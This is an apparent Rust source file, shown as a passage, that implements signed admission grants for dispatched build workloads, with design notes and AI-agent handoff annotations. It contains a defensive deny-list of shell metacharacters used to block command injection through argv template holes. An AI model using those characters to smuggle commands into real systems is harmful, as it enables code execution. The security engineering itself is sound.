Skip to main content

workload_spec/
admission.rs

1//! Signed-recipe admission for dispatched workloads — W235 §(c), R555-F4.
2//!
3//! # The surface this closes
4//!
5//! A remote QED run executes *arbitrary recipe steps on shared infrastructure*.
6//! Everything between the camp and the node authenticates the **dispatcher**
7//! (mesh identity, yubaba admission), and nothing authenticates the **payload**:
8//! whoever can reach a build worker's yubaba can name any digest-pinned image
9//! and any argv, at `tier = "infra"`, with host networking — and, since R636-B2,
10//! can ask for `CAP_SETUID` + `CAP_SETGID` + `no_new_privs` off on top. That is
11//! remote code execution as a feature, gated only on being inside the mesh.
12//!
13//! An [`AdmissionGrant`] is the missing half: a small, signed document stating
14//! *what a recipe is allowed to run*. The recipe author signs it once, offline;
15//! the dispatcher carries it verbatim in three annotations; kamaji verifies the
16//! signature against pinned keys and then checks that the spec in front of it
17//! does not exceed what the grant describes.
18//!
19//! # What the grant covers, and why exactly that
20//!
21//! R710-S1 is the cautionary precedent: the original plugin-manifest signature
22//! authenticated `source_ref` alone, on the reasoning that it transitively
23//! pinned the bytes — leaving the *grant* (capabilities, sandbox profile)
24//! unsigned, i.e. authenticating precisely the field an attacker has no reason
25//! to touch. The same mistake here would be signing the recipe name, or its
26//! BLAKE3, and calling the run admitted.
27//!
28//! So the grant covers every field that determines **what code runs and with
29//! what privilege**:
30//!
31//! | Field | Why it is in the payload |
32//! |---|---|
33//! | `image` | the code, content-addressed |
34//! | `entrypoint`, `argv` | the code, as invoked |
35//! | `env-name` | `LD_PRELOAD` and friends are code injection by another name |
36//! | `workdir` | selects which of several trees a relative argv resolves against |
37//! | `tier` | the tier is what every other privilege gate keys on |
38//! | `host-network`, `nested-sandbox` | the two privilege widenings that exist |
39//! | `secret` | which vault credentials the run may read (R555-F5) |
40//!
41//! `recipe` rides along as a label, so a refusal names something a human can go
42//! read.
43//!
44//! Deliberately **not** covered: `resources`, `replicas`, the mesh-tag node
45//! selector, `expose`. None of them change what executes; folding them in would
46//! force a re-sign every time a build's memory ceiling moved.
47//!
48//! # Secrets (R555-F5) — the second thing a payload can steal
49//!
50//! F4 shipped with `secret` absent from that table and a note on the env check
51//! saying values need no constraint because an un-admitted *name* cannot be set
52//! at all. That reasoning holds for a literal and fails for a reference: the
53//! value of an [`EnvValue::FromSecret`] *is* the selector, and a
54//! [`SecretMount`](crate::SecretMount) was not looked at by [`covers`] at all.
55//! So a recipe admitted to set `R2_TOKEN` could be re-pointed at the cosign
56//! signing key without disturbing a byte the signature covered — the grant
57//! authenticated what the run *executes* and left what it *reads* ambient.
58//!
59//! The grant now carries a [`GrantSecret`] allow-list, and [`covers`] enforces
60//! it exactly (no template matching — a secret name is not a per-run value).
61//! Two shapes are refused outright rather than admitted:
62//!
63//! - **Env-target secret delivery**, in either spelling
64//!   ([`SecretTarget::EnvVar`](crate::SecretTarget::EnvVar) or
65//!   [`EnvValue::FromSecret`]). Nothing implements it end to end — yubaba
66//!   materializes only `File` targets and both kamaji backends reject an
67//!   unresolved `FromSecret` — and [`SecretTarget`](crate::SecretTarget)'s own
68//!   doc says to prefer `File` because env leaks through subprocess env and log
69//!   dumps. Admitting an unimplemented delivery path would mean signing for
70//!   something whose behaviour is not yet decided.
71//! - Anything not on the list, including a mount the signer never wrote.
72//!
73//! The one subtlety is that **the spec kamaji admits is not the spec the
74//! dispatcher signed**: yubaba resolves each `File` mount into a read-only bind
75//! of a tmpfs file (`deploy::secret_mount`) *before* the backend sees it. So
76//! [`covers`] accepts either form — the declared mount, or the injected bind at
77//! exactly the path [`crate::secret_mount::materialized_host_path`] derives for
78//! this spec's own ident. Any other bind outside the forge state root is still
79//! refused, so the exemption cannot be used to mount a sibling workload's
80//! secret dir.
81//!
82//! [`covers`]: AdmissionGrant::covers
83//!
84//! Also deliberately absent: a **hash of the recipe file**. It is the obvious
85//! provenance field and it is wrong twice over. It is circular — signing writes
86//! the signature into that same file, so the hash the author signed is never the
87//! hash the dispatcher computes — and it over-binds: a recipe TOML is mostly
88//! comments and `@yah:` board annotations, so editing a comment would un-sign
89//! the recipe. The grant's own body is the better identity, because it is
90//! exactly the part of the recipe whose change *should* invalidate a signature.
91//!
92//! # Why argv is a *template*
93//!
94//! A recipe's argv is authored with `{{...}}` holes that the materialize path
95//! substitutes per run — `{{YAH_TRANSFORM_OUT}}` becomes a path containing the
96//! derivation key, `{{target}}` becomes a caller-supplied param. A signature
97//! over the *substituted* argv could therefore only be produced at dispatch
98//! time, by a key the dispatcher holds — which reduces the whole gate to "the
99//! dispatcher is authenticated", something the mesh already provides.
100//!
101//! So the grant carries the template, and [`AdmissionGrant::covers`] checks the
102//! received argv is an instantiation of it. The security property comes from
103//! constraining the holes: recipes write shell strings
104//! (`build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'`), so a hole that may not
105//! contain a quote, a `$`, a backtick, a `;`, a `|`, or a `..` cannot break out
106//! of the quoting the author wrote. See [`hole_is_safe`].
107//!
108//! # Policy, and what is on by default
109//!
110//! [`Policy::Permissive`] is the default: a grant, **if present**, must verify —
111//! absent is allowed. That makes deploying this code a no-op for the live
112//! pipeline-offload path (a `qed run --where=remote` step comes from a pipeline,
113//! not a recipe, and has no grant) while making tampering with a *signed*
114//! dispatch detectable immediately.
115//!
116//! One exception is unconditional, and it is the point of the R636-B2 coupling
117//! W235 §Reshaping names: **a workload requesting the nested-sandbox grant needs
118//! a valid admission grant under every policy except [`Policy::Disabled`].**
119//! B2's widening is what raises the cost of an admission gap from "arbitrary
120//! code in a tight sandbox" to "arbitrary code with SETUID and no-new-privs
121//! off", so the widening does not get to be used un-admitted. That costs nothing
122//! today — B2's grant is built but not yet deployed on any worker — and it means
123//! the ordering W235 asked for ("B2's widening is defensible only once F4's
124//! admission gate exists") is enforced by the code rather than by sequencing
125//! discipline.
126//!
127//! [`Policy::Required`] is the end state for a shared build worker: no grant, no
128//! run. It is an operator flip per node (`YAH_ADMISSION=required`), because
129//! turning it on before that node's dispatchers sign is a self-inflicted outage.
130//!
131//! @yah:relay(R894, "Trust as a declared axis: admission derives minimum isolation substrate")
132//! @yah:at(2026-09-11T22:22:59Z)
133//! @yah:status(handoff)
134//! @yah:assignee(agent:user-custom-char-gul2)
135//! @yah:next("Operator call (2026-09-11, chat session:d6fc1d54): workload trust becomes a declared property from which admission derives minimum isolation, making 'untrusted code never shares a kernel with the fleet' one checkable rule instead of a convention distributed across dispatchers. Today only the mechanism is recorded (yah.exec substrate marker) and the sole trust-shaped gate is kamaji's tier==\"infra\" check. R823 (untrusted camp vending on microVMs) is the first consumer of this rule.")
136//! @arch:see(oss/yubaba/crates/cloud/src/config.rs)
137//! @arch:see(.yah/docs/working/W344-native-workloads-run-unbounded.md)
138//! @arch:see(.yah/docs/architecture/A043-yah-on-machine-daemons.md)
139//!
140//! @yah:ticket(R894-F1, "admit_workload refuses any spec whose trust level exceeds its requested substrate")
141//! @yah:phase(P1)
142//! @yah:status(review)
143//! @yah:at(2026-09-14T00:31:45Z)
144//! @yah:assignee(agent:bundle-anthropic-ashguard)
145//! @yah:parent(R894)
146//! @yah:next("Tier: Wizard — security invariant whose design decisions (declaration point, default direction) matter more than the line count. RULE SHAPE: substrate ordering is already documented widest-first on kamaji's Backend enum (native < container < microvm); trust maps to a MINIMUM substrate; a caller may request stricter, never looser; violation is a REFUSAL at admission, mirroring wants_microvm's no-silent-downgrade semantics. Enforcement seam: CloudConfig::admit_workload (oss/yubaba/crates/cloud/src/config.rs:1957) + admission_spec, where cap:native-exec already lives. TWO DESIGN DECISIONS TO SETTLE FIRST: (1) declaration — annotation (R885 yah.limits.* precedent, crosses the postcard wire free) vs server-side derivation from tenant identity; the marker must NOT be self-attestable by untrusted spec authors, so whatever the spelling, it is stamped at the single choke point that ingests tenant code, and admission treats tenant-origin-without-marker as invalid rather than defaulting to trusted. (2) default direction — absent marker on operator-authored specs means trusted; the unsafe spelling (absent = trusted for ALL origins) is the trap this ticket exists to close. KNOWN CONSEQUENCE, correct not a bug: no fleet node declares cap:microvm yet (deliberate, gated on R605-F14 guest artifacts — see the cleanup note in config.rs), so untrusted workloads refuse fleet-wide until that lands. ACCEPTANCE GATE per W344's lesson: name a call site on the live deploy path, not a test count — a test proving an untrusted-marked spec requesting yah.exec=native (and one requesting no substrate at all) is refused inside admit_workload's real dispatch path.")
147//! @yah:handoff("TRUST IS NOW A DECLARED AXIS AND ADMISSION REFUSES ON IT. New `yah.trust` annotation (TRUST_ANNOTATION / TRUST_TRUSTED_VALUE / TRUST_UNTRUSTED_VALUE) in oss/yah-base/crates/workload-spec/src/lib.rs, with `TrustLevel{Trusted,Untrusted}`, `TrustLevel::minimum_substrate()`, `TrustDeclError` (manual Display+Error, the WritablePathsDeclError shape — no thiserror in that lib), and `WorkloadSpec::trust()`. Untrusted floors at microVM: the 2026-09-11 operator call resolving W344:166's 'containerd or microVM' disjunction to the strict side for code the operator did not write.")
148//! @yah:handoff("DECISION 1 — DECLARATION: an ANNOTATION (R885 yah.limits.* precedent, crosses the postcard wire free), NOT server-side derivation from tenant identity, and NOT a fourth `yah.exec` value. Separate key because `yah.exec` is a REQUEST (what the dispatcher wants) and `yah.trust` is a FACT (where the code came from); folding them makes the fact unstateable whenever the request is stricter than the floor. NOT self-attestable, and the argument is structural rather than cryptographic: a tenant never hands yah a WorkloadSpec, it hands yah an image + argv that yah's OWN code puts into a spec. So the choke point holds the pen. `WorkloadSpec::stamp_untrusted()` is that verb — it stamps the marker AND raises the substrate to the floor in one call, monotonically (a caller already asking for microVM keeps its request; idempotent). R823 is its first caller and has none yet, deliberately.")
149//! @yah:handoff("DECISION 2 — DEFAULT DIRECTION: absent means Trusted, and the doc on TrustLevel states WHY that is not the trap. Every WorkloadSpec in the tree today is operator-built and declares nothing, so absent=untrusted refuses the whole fleet on day one. The unsafe spelling the ticket exists to close is 'absent = trusted for ALL ORIGINS'; what closes it is that the untrusted-origin path stamps in the same function that takes the third-party bytes, not that admission guesses. An UNRECOGNISED value is an Err, never a fallback to either side — reading `untrused` as trusted turns the microVM floor off by typo.")
150//! @yah:handoff("ENFORCEMENT SEAM: `admission_spec` (oss/yubaba/crates/cloud/src/config.rs) now returns `Result<RequiredSpec>` and calls new `check_trust_substrate(&group)` first. Signature change over a note-to-self on purpose: admission_spec is the ONE function admit_workload / admit_workload_candidates / admit_workload_in_group all share, so a Result makes the gate structural — a fourth entry point cannot be added that skips it. Checked per member over the whole placement_group (R860-T4 co-places `local` edges, so an untrusted provider reaching a node is reaching it whether or not the requirer is the untrusted one). A REFUSAL, not a mesh tag: an untrusted+native spec is not unplaceable, it is incoherent — rendering it as 'no node admits this' sends the operator to look at machines.")
151//! @yah:handoff("NEW ExecSubstrate{Native<Container<MicroVm} with derived Ord — the ordering IS the security ordering, pinned by `substrates_are_ordered_by_the_isolation_they_provide` because a variant reorder would invert the whole check while compiling clean. `WorkloadSpec::exec_substrate()` collapses the wants_native_exec/wants_microvm boolean pair into one total function, and `admission::GrantRuntime::of_spec` now DELEGATES to it rather than carrying a second copy of the same ladder (the drift R605-F8's own doc warned about, one level up).")
152//! @yah:verify("ACCEPTANCE GATE PER W344's LESSON — a call site on the live deploy path, not a test count. The refusal fires inside `CloudConfig::admit_workload` / `admit_workload_candidates`, which are the real dispatch path: `MeshYubabaClient::elect_node` calls admit_workload_candidates at app/yah/cli/src/yubaba_client.rs:236, and `yah cloud workload deploy` calls admit_workload at app/yah/cli/src/cloud.rs:3828. `admit_workload_refuses_untrusted_code_on_a_shared_kernel` drives admit_workload directly on both required shapes — untrusted + yah.exec=native, and untrusted with NO substrate marker at all (the container default, the one an absent=trusted-for-all-origins spelling would have admitted) — against a fleet that CONTAINS a microVM-capable node, then admits the same workload once it asks for microvm. Same fleet, same name: the two refusals provably came from the substrate.")
153//! @yah:verify("cargo test --manifest-path oss/yah-base/Cargo.toml -p yah-workload-spec = 208 lib + 106 integration + 0 doctest, 0 failed, exit 0 (+4 new lib tests). cargo test --manifest-path oss/yubaba/Cargo.toml -p yah-cloud --lib config::tests = 218 passed / 0 failed (+6 new). cargo check -p yah-cloud -p yubaba --all-targets exit 0. ./scripts/check-schema-drift.sh and ./scripts/check-workload-spec-ts.sh both 'in sync' — nothing added is schemars-derived and annotations is already a HashMap<String,String>, so no regen and no ProtocolVersion bump.")
154//! @yah:verify("SIX NEW config.rs TESTS: admit_workload_refuses_untrusted_code_on_a_shared_kernel (the gate); a_trusted_workload_may_still_request_a_stricter_substrate (the rule is one-directional); an_untrusted_provider_refuses_the_whole_placement_group (names the offending MEMBER, and the same requirer without the local edge admits, so the refusal provably came from the group); an_unreadable_trust_declaration_is_refused_rather_than_defaulted; a_group_with_no_microvm_member_does_not_require_the_capability (R860-T5-shaped regression guard); every_admission_entry_point_enforces_the_trust_floor (all three admit_* refuse the same spec). FOUR NEW workload-spec TESTS: the Ord pin, exec_substrate-agrees-with-the-two-predicates-it-replaces (incl. a typo'd `micro-vm` failing CLOSED to Container), trust default/refusal table, and stamp_untrusted raise/idempotence/never-lower plus the post-condition that a stamped spec always satisfies its own floor.")
155//! @yah:gotcha("SCOPE I TOOK BEYOND THE TITLE, LOUDLY: R860-T5's deferred `cap:microvm` axis landed here too, because without it the trust floor lands nowhere real — an untrusted workload would pass the coherence check and then be elected onto a node with no microVM backend and refused at dispatch, which is exactly the 25-hour-outage shape R858 paid for on the native axis. New `MICROVM_MESH_TAG = \"cap:microvm\"` in config.rs and one `if` beside the native one in admission_spec. R860-T5's cleanup note gated this on R605-F14 landing guest artifacts; that precondition IS met — see the next gotcha.")
156//! @yah:gotcha("I DECLARED `cap:microvm` ON .yah/infra/machines/us-west-003.toml — ONE NODE, ON RECORDED EVIDENCE, NOT INFERENCE. That file's own header carries the RESOLVED 2026-09-10T23:27Z block (the /etc/systemd/system/kamaji.service.d/10-microvm.conf drop-in, the journal line 'microVM backend attached', the staged vmlinux + rootfs.ext4 with sha256 sidecars), and oss/kamaji/crates/kamaji-bin/src/main.rs:31 records R605-T24's `.yah/qed/microvm-dispatch-smoke.toml` run on 2026-09-11 driving a forge from qed through yubaba admission into a guest THERE, asserting on /proc/cmdline tokens a container cannot fake. NO OTHER MACHINE FILE WAS TOUCHED. THE TRAP, written into the TOML comment: this capability is NOT visible in ExecStart (the drop-in sets KAMAJI_MICROVM_DIR; read `systemctl show -p Environment kamaji`), and that header also records that rolling the node to a published version REVERTS the staged guest material — so re-check after any roll, harder than for cap:native-exec.")
157//! @yah:gotcha("WITHOUT THAT TOML LINE THE microvm AXIS WOULD HAVE BROKEN A LIVE RECIPE. A node pin does NOT bypass mesh_tags (admission_spec derives `nodes` alongside them deliberately, so a pin is still checked), so `yah qed run microvm-dispatch-smoke --where=node:us-west-003` would have started refusing at admission the moment the axis landed. The tag and the axis had to land together; that is why this is one change and not two.")
158//! @yah:gotcha("PRE-EXISTING FAILURES ON THIS TREE, NEITHER MINE — both confirmed by content, not by assumption. (1) `yah-cloud --lib reconciler::mesofact_static::tests::bundled_worker_walks_the_route_table` fails; that file carries 323 uncommitted insertions from a live peer and my diff is nowhere near it. (2) `cargo test -p xtask --test main cluster_epoch_drift::raft_protocol_surface_matches_the_declared_epochs` fails on MOVED raft lines in oss/yubaba/crates/yubaba/src/lib.rs, a file I did not touch; it needs the breaking/not-breaking call plus `cargo run -p xtask -- cluster-epochs --write`. The other 68 xtask tests pass, including every fleet-placement one that reads the real machine TOMLs, so the us-west-003 edit is clean.")
159//! @yah:gotcha("`stamp_untrusted` HAS NO PRODUCTION CALLER YET, and that is the correct state — R823 (untrusted camp vending on microVMs) is the first choke point and is not built. The rule for whoever writes it is in the verb's doc comment: call it in the SAME function that takes the third-party bytes, not in a caller that can be forgotten. Until then the axis costs the fleet nothing: no spec in the tree sets yah.trust, and absent is Trusted, whose floor is the bottom of the ordering.")
160//! @yah:handoff("Tree anchor at review: e0530813af8f7d86f5eb7ea9a6b5a57d386bf30b. FILES TOUCHED, all four: oss/yah-base/crates/workload-spec/src/lib.rs (the axis + accessors + stamp verb + 4 tests), oss/yah-base/crates/workload-spec/src/admission.rs (GrantRuntime::of_spec delegates to exec_substrate; the import line), oss/yubaba/crates/cloud/src/config.rs (MICROVM_MESH_TAG, admission_spec -> Result, check_trust_substrate, the microvm axis, 6 tests), .yah/infra/machines/us-west-003.toml (cap:microvm + the evidence comment). Quote this SHA rather than 'HEAD' in any revert instruction.")
161
162use std::collections::BTreeSet;
163use std::path::{Path, PathBuf};
164
165use thiserror::Error;
166
167use crate::{
168    EnvValue, ExecSubstrate, SecretMount, SecretRef, SecretTarget, VolumeSource, WorkloadSpec,
169};
170
171/// Annotation carrying the admission grant document verbatim.
172///
173/// The value is the exact byte string [`AdmissionGrant::encode`] produces and
174/// the exact byte string the signature is over. Annotations do not reach the OCI
175/// spec (kamaji builds that from typed fields), so carrying a few hundred bytes
176/// here costs nothing at runtime.
177pub const GRANT_ANNOTATION: &str = "yah.admission.grant";
178
179/// Annotation carrying the hex-encoded Ed25519 detached signature over the
180/// [`GRANT_ANNOTATION`] value.
181pub const GRANT_SIGNATURE_ANNOTATION: &str = "yah.admission.signature";
182
183/// Annotation carrying the hex-encoded Ed25519 public key that signed the
184/// grant. Checked against the verifier's pinned key set *before* the signature
185/// is verified — an untrusted key can produce a perfectly valid signature, so
186/// verifying it first would be answering the wrong question (the ordering
187/// `yah_plugin::verify_manifest` established).
188pub const GRANT_KEY_ANNOTATION: &str = "yah.admission.key";
189
190/// Domain separator opening every grant document. Also the format version: a
191/// verifier that does not recognise the line refuses rather than guessing.
192///
193/// **v2 (R555-F5)** added the `secret` allow-list. The bump costs nothing: no
194/// grant has ever been signed outside a test fixture (every recipe in
195/// `.yah/qed/transforms/` is `location = "local"`, which `recipe-sign` skips),
196/// and a version skew between a new dispatcher and an old node now surfaces as
197/// [`GrantError::BadMagic`] rather than as a trailing-bytes parse failure that
198/// reads like corruption.
199pub const GRANT_MAGIC: &str = "yah-admission-grant/v2";
200
201/// Characters a template hole may not contain.
202///
203/// Recipe argv elements are shell strings the author quoted by hand
204/// (`build-v8.sh '{{target}}'`). These are the characters that let a
205/// substituted value escape that quoting, plus the ones that would let it reach
206/// a second command. `..` is rejected separately by [`hole_is_safe`] — it is a
207/// two-character sequence, not a class member.
208pub const FORBIDDEN_HOLE_CHARS: &[char] = &[
209    '\'', '"', '`', '$', ';', '|', '&', '<', '>', '(', ')', '{', '}', '\\', '\n', '\r', '\0',
210];
211
212/// Whether a substituted template hole's content is safe to have landed inside
213/// a recipe-authored shell string.
214///
215/// This is the whole security argument for template matching, so it is stated
216/// as a rule rather than a heuristic: the recipe author controls the quoting,
217/// and a value that contains none of [`FORBIDDEN_HOLE_CHARS`] and no `..`
218/// cannot change the command's structure — only which noun it names.
219pub fn hole_is_safe(value: &str) -> bool {
220    !value.contains("..") && !value.contains(FORBIDDEN_HOLE_CHARS)
221}
222
223/// Which runtime the grant admits. Mirrors the
224/// [`NATIVE_EXEC_ANNOTATION`](crate::NATIVE_EXEC_ANNOTATION) marker rather than
225/// re-deriving it: a native forge is fork+exec'd on the host with no container
226/// boundary at all, which is a materially different thing to admit.
227#[derive(Debug, Clone, Copy, PartialEq, Eq)]
228pub enum GrantRuntime {
229    /// Container backend (the default shape).
230    Container,
231    /// Host fork+exec — no container boundary. See
232    /// [`WorkloadSpec::wants_native_exec`].
233    Native,
234    /// KVM guest with its own kernel — a *stronger* boundary than a container,
235    /// not a weaker one. See [`WorkloadSpec::wants_microvm`] (R605-F8).
236    ///
237    /// It is nonetheless a distinct runtime in the grant rather than being
238    /// folded into [`Self::Container`], because a grant states what it admits:
239    /// a recipe signed to run in a container and a recipe signed to run in a
240    /// microVM differ in what the argv can reach (its own kernel, its own
241    /// device set, a host filesystem it sees only through the drives kamaji
242    /// attaches), and one describing the other would be false in both
243    /// directions.
244    MicroVm,
245}
246
247impl GrantRuntime {
248    fn as_str(self) -> &'static str {
249        match self {
250            GrantRuntime::Container => "container",
251            GrantRuntime::Native => "native",
252            GrantRuntime::MicroVm => "microvm",
253        }
254    }
255
256    /// The runtime a spec actually selects, from its `yah.exec` marker.
257    ///
258    /// One function so the signing site ([`AdmissionGrant::from_spec`]) and the
259    /// verifying site ([`AdmissionGrant::verify_matches`]) cannot disagree —
260    /// they were two copies of the same `if` before R605-F8 added a third arm,
261    /// which is exactly when a duplicated ladder starts to drift.
262    ///
263    /// R894-F1 took that argument one level further: this was itself the
264    /// *second* copy of the ladder, beside admission's trust check, so it now
265    /// delegates to [`WorkloadSpec::exec_substrate`]. A grant and a trust floor
266    /// disagreeing about which substrate a spec selects is the failure this
267    /// closes.
268    fn of_spec(spec: &WorkloadSpec) -> Self {
269        match spec.exec_substrate() {
270            ExecSubstrate::Native => GrantRuntime::Native,
271            ExecSubstrate::Container => GrantRuntime::Container,
272            ExecSubstrate::MicroVm => GrantRuntime::MicroVm,
273        }
274    }
275}
276
277/// How strictly a node enforces admission.
278///
279/// See the module docs for why [`Policy::Permissive`] is the default and why
280/// the nested-sandbox exception is unconditional.
281#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
282pub enum Policy {
283    /// No admission checking at all — pre-R555-F4 behaviour. An escape hatch
284    /// for a node debugging its own signing setup; it also disables the
285    /// nested-sandbox exception, which is why it is not the default.
286    Disabled,
287    /// A grant, if present, must verify. A workload with no grant runs, unless
288    /// it requests the nested-sandbox widening.
289    #[default]
290    Permissive,
291    /// Every workload must carry a grant that verifies.
292    Required,
293}
294
295impl Policy {
296    /// Parse a policy name. Accepts exactly the three spellings; anything else
297    /// is an error rather than a silent fallback, because "I typoed the env var
298    /// and admission quietly turned off" is the failure this whole module is
299    /// about.
300    pub fn parse(s: &str) -> Result<Self, String> {
301        match s.trim() {
302            "disabled" => Ok(Policy::Disabled),
303            "permissive" => Ok(Policy::Permissive),
304            "required" => Ok(Policy::Required),
305            other => Err(format!(
306                "unknown admission policy {other:?}; expected \"disabled\", \
307                 \"permissive\" or \"required\""
308            )),
309        }
310    }
311}
312
313/// A signed statement of what one recipe is allowed to run.
314///
315/// Construct with [`AdmissionGrant::from_spec`] at signing time (so the grant
316/// and the thing it describes cannot drift), encode with
317/// [`AdmissionGrant::encode`], sign the encoded bytes, and attach all three
318/// pieces with [`attach`].
319#[derive(Debug, Clone, PartialEq, Eq)]
320pub struct AdmissionGrant {
321    /// Recipe name, so a refusal names something a human can go read. Signed
322    /// like everything else, so it cannot be re-attributed after the fact.
323    pub recipe: String,
324    /// Canonical pinned image reference, as [`image_ref_string`] renders it.
325    pub image: String,
326    /// Tier the workload may run at.
327    pub tier: String,
328    /// Container or host fork+exec.
329    pub runtime: GrantRuntime,
330    /// Whether the recipe may request the host network namespace.
331    pub host_network: bool,
332    /// Whether the recipe may request the nested-sandbox capability widening.
333    pub nested_sandbox: bool,
334    /// Working directory the recipe may declare, if any.
335    pub workdir: Option<String>,
336    /// Entrypoint templates, in order.
337    pub entrypoint: Vec<String>,
338    /// Argv templates, in order. `{{...}}` holes are matched, not compared.
339    pub argv: Vec<String>,
340    /// Environment variable *names* the recipe may set. Values are
341    /// unconstrained for a [`EnvValue::Literal`] — a name that is not on this
342    /// list cannot be set at all. A `FromSecret` value is a different question
343    /// and is refused outright; see the module docs.
344    pub env_names: Vec<String>,
345    /// Vault credentials the recipe may read, exactly. Empty on a recipe that
346    /// declares none, which then cannot read any — the fail-closed direction,
347    /// and the state every recipe in the tree is in today.
348    pub secrets: Vec<GrantSecret>,
349}
350
351/// One vault credential a grant admits, as a file inside the workload.
352///
353/// File-target only, on purpose — see the module docs on why env-target secret
354/// delivery is refused rather than admitted. `mode` is in the signed body
355/// because a secret readable by every uid in the container is a different grant
356/// from one readable by its owner.
357#[derive(Debug, Clone, PartialEq, Eq)]
358pub struct GrantSecret {
359    /// Where yubaba reads the value from.
360    pub source: SecretRef,
361    /// Absolute container path the value is mounted at.
362    pub path: PathBuf,
363    /// File mode, octal.
364    pub mode: u32,
365}
366
367impl GrantSecret {
368    /// The grant entry a spec's mount corresponds to, or `None` when the mount
369    /// is one no grant can admit (an env target).
370    pub fn of_mount(mount: &SecretMount) -> Option<Self> {
371        match &mount.target {
372            SecretTarget::File { path, mode } => Some(Self {
373                source: mount.source.clone(),
374                path: path.clone(),
375                mode: *mode,
376            }),
377            SecretTarget::EnvVar { .. } => None,
378        }
379    }
380
381    /// Operator-facing rendering, for refusal messages only. Never parsed —
382    /// the wire form is the four records [`AdmissionGrant::encode`] writes.
383    pub fn describe(&self) -> String {
384        let source = match &self.source {
385            SecretRef::Cluster { name } => format!("cluster:{name}"),
386            SecretRef::LocalFile { path } => format!("local-file:{}", path.display()),
387        };
388        format!("{source} → {} (mode {:o})", self.path.display(), self.mode)
389    }
390
391    fn source_kind(&self) -> &'static str {
392        match self.source {
393            SecretRef::Cluster { .. } => "cluster",
394            SecretRef::LocalFile { .. } => "local-file",
395        }
396    }
397
398    fn source_value(&self) -> String {
399        match &self.source {
400            SecretRef::Cluster { name } => name.clone(),
401            SecretRef::LocalFile { path } => path.to_string_lossy().into_owned(),
402        }
403    }
404}
405
406/// Render an [`ImageRef`](crate::ImageRef) the one way the grant compares them.
407///
408/// Hand-rolled rather than a `Display` impl on `ImageRef` so the encoding this
409/// module signs cannot be changed by an unrelated edit to that type's
410/// formatting — the same reasoning `yah_plugin::signing_payload` records for
411/// not signing serialized TOML.
412pub fn image_ref_string(image: &crate::ImageRef) -> String {
413    format!(
414        "{}/{}:{}@{}",
415        image.registry, image.repository, image.tag, image.digest
416    )
417}
418
419impl AdmissionGrant {
420    /// Cut a grant from a spec that is already exactly what should be admitted.
421    ///
422    /// This is the signing-time constructor: lower the recipe to a
423    /// `WorkloadSpec` with its argv left un-substituted (holes intact), pass it
424    /// here, encode, sign. Deriving the grant from the spec rather than from the
425    /// recipe means the grant describes the thing that will actually be checked,
426    /// with no second lowering to keep in step.
427    pub fn from_spec(recipe: &str, spec: &WorkloadSpec) -> Self {
428        Self {
429            recipe: recipe.to_string(),
430            image: image_ref_string(&spec.image),
431            tier: spec.tier.0.clone(),
432            runtime: GrantRuntime::of_spec(spec),
433            host_network: spec.wants_host_network(),
434            nested_sandbox: spec.wants_nested_sandbox(),
435            workdir: spec
436                .workdir
437                .as_ref()
438                .map(|p| p.to_string_lossy().into_owned()),
439            entrypoint: spec.entrypoint.clone().unwrap_or_default(),
440            argv: spec.command.clone().unwrap_or_default(),
441            env_names: spec.env.iter().map(|e| e.name.clone()).collect(),
442            // An env-target mount yields no entry, so signing a spec that
443            // carries one produces a grant that does not cover it — the same
444            // refusal a verifier reaches, surfaced at signing time instead.
445            secrets: spec.secrets.iter().filter_map(GrantSecret::of_mount).collect(),
446        }
447    }
448
449    /// The exact bytes a recipe author signs, and the exact bytes a verifier
450    /// verifies over.
451    ///
452    /// A domain-separated sequence of length-prefixed records in fixed field
453    /// order: `<label> <byte-len>\n<value>\n`. The length prefix is what lets a
454    /// value contain a newline (a `bash -c` argv routinely does) without any
455    /// escaping, and fixed order plus explicit counts make the encoding
456    /// injective — two different grants cannot produce the same bytes.
457    ///
458    /// Hand-rolled rather than "serialize to TOML/JSON and sign that", for the
459    /// reason `yah_plugin::signing_payload` states: a serializer's output is a
460    /// formatting decision of a dependency, so a version bump could silently
461    /// invalidate every signature ever issued.
462    pub fn encode(&self) -> String {
463        let mut out = String::with_capacity(512);
464        out.push_str(GRANT_MAGIC);
465        out.push('\n');
466        record(&mut out, "recipe", &self.recipe);
467        record(&mut out, "image", &self.image);
468        record(&mut out, "tier", &self.tier);
469        record(&mut out, "runtime", self.runtime.as_str());
470        record(&mut out, "host-network", bool_str(self.host_network));
471        record(&mut out, "nested-sandbox", bool_str(self.nested_sandbox));
472        list(&mut out, "workdir", self.workdir.as_slice_of_one());
473        list(&mut out, "entrypoint", &self.entrypoint);
474        list(&mut out, "argv", &self.argv);
475        list(&mut out, "env-name", &self.env_names);
476        // Four records per entry rather than one joined string: joining needs a
477        // separator, and a separator inside a secret name or a mount path makes
478        // two different allow-lists encode to the same bytes. The record shape
479        // is already length-prefixed and therefore already injective.
480        record(&mut out, "secret", &self.secrets.len().to_string());
481        for s in &self.secrets {
482            record(&mut out, "secret.source-kind", s.source_kind());
483            record(&mut out, "secret.source", &s.source_value());
484            record(&mut out, "secret.path", &s.path.to_string_lossy());
485            record(&mut out, "secret.mode", &format!("{:o}", s.mode));
486        }
487        out
488    }
489
490    /// Parse the encoding [`AdmissionGrant::encode`] produces.
491    ///
492    /// Strict on purpose: an unrecognised magic line, a label out of order, a
493    /// length that does not match, or trailing bytes are all errors. A verifier
494    /// that guesses at a malformed grant is a verifier that can be steered.
495    pub fn parse(text: &str) -> Result<Self, GrantError> {
496        let mut cur = Cursor::new(text);
497        cur.magic()?;
498        let recipe = cur.record("recipe")?;
499        let image = cur.record("image")?;
500        let tier = cur.record("tier")?;
501        let runtime = match cur.record("runtime")?.as_str() {
502            "container" => GrantRuntime::Container,
503            "native" => GrantRuntime::Native,
504            "microvm" => GrantRuntime::MicroVm,
505            other => {
506                return Err(GrantError::BadValue {
507                    label: "runtime",
508                    reason: format!(
509                        "expected \"container\", \"native\" or \"microvm\", got {other:?}"
510                    ),
511                })
512            }
513        };
514        let host_network = cur.bool_record("host-network")?;
515        let nested_sandbox = cur.bool_record("nested-sandbox")?;
516        let mut workdir = cur.list("workdir")?;
517        if workdir.len() > 1 {
518            return Err(GrantError::BadValue {
519                label: "workdir",
520                reason: format!("expected 0 or 1 entries, got {}", workdir.len()),
521            });
522        }
523        let entrypoint = cur.list("entrypoint")?;
524        let argv = cur.list("argv")?;
525        let env_names = cur.list("env-name")?;
526        let secrets = cur.secrets()?;
527        cur.end()?;
528
529        Ok(Self {
530            recipe,
531            image,
532            tier,
